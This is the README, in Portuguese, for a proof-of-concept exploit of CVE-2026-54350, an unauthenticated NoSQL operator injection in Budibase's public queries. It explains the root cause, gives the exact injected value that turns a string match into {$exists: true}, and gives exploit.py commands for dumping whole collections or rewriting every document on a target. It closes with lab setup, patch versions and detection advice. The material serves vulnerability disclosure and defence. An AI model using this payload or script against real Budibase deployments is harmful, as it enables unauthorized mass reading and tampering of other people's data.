
PoC para CVE-2026-54350 — Injeção de operador NoSQL não autenticada no Budibase (CVSS 10.0). Leia/escreva em massa qualquer coleção de documentos por meio de uma consulta PUBLIC.
Injeção não autenticada de operador JSON/NoSQL no Budibase. Qualquer visitante anônimo de um aplicativo Budibase publicado que exponha uma consulta PÚBLICA alimentada por uma fonte de dados documental (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL ou REST com corpo JSON) pode ler todos os documentos da coleção subjacente e, se existir uma consulta de escrita pública, modificar todos os documentos — com uma única requisição HTTP não autenticada.
| CVE | CVE-2026-54350 |
| Advisory | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (Neutralização Incorreta de Elementos Especiais em uma Consulta de Dados), CWE-89 |
| Auth | Nenhuma (não autenticado) |
| Afetado | Budibase <= 3.39.0 (faixa do advisory do fornecedor) |
| Corrigido | 3.39.12 conforme NVD; as aspas injetadas já são neutralizadas a partir de 3.39.1, e a correção explícita (processJsonStringSync) chega em 3.39.9 |
| Veredito | CONFIRMADO — reproduzido de ponta a ponta no 3.39.0 |
Ao executar uma consulta, o Budibase enriquece os parâmetros do usuário no corpo
JSON bruto da consulta com Handlebars, e então aplica JSON.parse no resultado:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
Em builds afetados, o parâmetro é interpolado sem escape JSON, então um
valor contendo uma " fecha a string pretendida e injeta chaves irmãs no
objeto analisado. O único filtro de entrada, validateQueryInputs()
(api/controllers/query/index.ts), rejeita apenas marcadores Handlebars
({{, }}) — ele não toca em ", \, } ou $.
Para um find do MongoDB, o objeto analisado é passado diretamente para
collection.find() (integrations/mongodb.ts). Uma chave name duplicada cujo
valor seja um objeto operador vence a mesclagem do JSON.parse, transformando
uma igualdade de string em {$exists: true} e retornando toda a coleção. A
mesma primitiva contra uma consulta updateMany amplia o filtro para todos os
documentos.
O controle de acesso é contornado porque authorized()
(middleware/authorized.ts:141) faz curto-circuito com return next() quando
a função de acesso do recurso da consulta é PUBLIC, ignorando tanto a
autenticação de sessão quanto o CSRF. O cabeçalho x-budibase-app-id
necessário para alcançar a consulta é público — faz parte de toda URL de
aplicativo publicado.
Consulte ANALYSIS.md para a análise completa em nível de
código e a investigação dos limites de versão.
Modelo do corpo da consulta (conforme configurado no builder):
{"name":"{{ name }}"}
Valor injetado para o parâmetro name:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
Após interpolação e JSON.parse (mesclagem de chave duplicada, a última vence):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$comment é um meta-operador inerte do MongoDB que absorve o "} final do
template para que todo o corpo permaneça JSON válido.
exploit.py — apenas biblioteca padrão do Python 3, sem dependências.
# Despejar toda a coleção por meio de uma consulta de LEITURA pública (find)
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# Modificar todos os documentos por meio de uma consulta de ESCRITA pública (updateMany)
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-id e --query-id são valores públicos observados no tráfego da API do
próprio aplicativo publicado. --field substitui a chave JSON à qual o
parâmetro está vinculado (padrão é --param).
Requer Docker. Este laboratório usa --network host (sem assumir rede bridge) e
mongo:4.4 (o host não possui AVX; MongoDB 5.0+ requer AVX).
bash lab/setup.sh
# imprime PROD_APP_ID / READ_QUERY / UPDATE_QUERY, então:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.py utiliza apenas APIs legítimas do builder — não enfraquece
nenhum padrão. Marcar a função de acesso de uma consulta como PUBLIC é um
recurso de primeira classe do builder (aplicativos publicados expõem dados
exatamente através deste mecanismo). Execução completa capturada em
EVIDENCE.txt.
O NVD lista a faixa afetada como < 3.39.12. Empiricamente, o vetor de aspas
simples só é explorável em <= 3.39.0, que é exatamente a faixa que o
advisory GHSA do fornecedor indica. A partir de 3.39.1, a camada de
template já escapa as aspas injetadas (verificado: a mesma requisição contra
3.39.8 é neutralizada), e 3.39.9 introduz a correção explícita
processJsonStringSync. Portanto, esta PoC visa 3.39.0, a versão mais
recente dentro da faixa afetada do fornecedor.
>= 3.39.12, ou no mínimo
>= 3.39.9 onde processJsonStringSync faz escape JSON dos parâmetros
interpolados).PUBLIC; restrinja-as a funções autenticadas sempre que possível.Procure por requisições POST /api/v2/queries/<id>, de sessões não
autenticadas, cujos valores parameters contenham uma " seguida por um
operador MongoDB prefixado com $ ($exists, $ne, $gt, $where,
$regex, ...) ou uma chave JSON duplicada. No MongoDB, ative o profiling e
alerte quando um parâmetro de consulta que normalmente é uma string chegar como
um objeto.
Pesquisa e PoC por Caio Fabrício (@BiiTts).